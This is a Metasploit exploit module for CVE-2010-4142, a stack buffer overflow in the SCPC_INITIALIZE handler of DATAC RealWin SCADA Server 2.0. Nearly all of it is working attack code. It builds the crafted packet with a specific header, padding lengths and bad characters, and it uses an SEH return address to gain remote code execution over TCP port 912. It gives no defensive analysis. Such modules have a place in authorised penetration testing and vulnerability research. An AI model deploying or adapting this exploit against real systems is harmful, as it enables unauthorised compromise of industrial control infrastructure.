DATAC RealWin SCADA Server 2.0 (Build 6.1.8.10) – SCPC_INITIALIZE Buffer Overflow (Metasploit)
## # $Id: realwin_scpc_initialize.rb 11180 2010-11-30 20:19:18Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'DATAC RealWin SCADA Server SCPC_INITIALIZE Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in DATAC Control International RealWin SCADA Server 2.0 (Build 6.1.8.10). By sending a specially crafted packet, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'Luigi Auriemma', 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11180 $', 'References' => [ [ 'OSVDB', '68812' ], [ 'CVE', '2010-4142' ], [ 'URL', 'http://aluigi.altervista.org/adv/realwin_1-adv.txt' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 550, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Universal', { 'Ret' => 0x4002da21 } ], # FlexMLang.DLL 8.1.45.19 ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 15 2010')) register_options([Opt::RPORT(912)], self.class) end def exploit connect data = [0x6a541264].pack('V') data << [0x00000002].pack('V') data << [0x00001ff4].pack('V') data << rand_text_alpha_upper(228) data << generate_seh_payload(target.ret) data << rand_text_alpha_upper(10024 - payload.encoded.length) data << "\x00" print_status("Trying target #{target.name}...") sock.put(data) handler disconnect end end |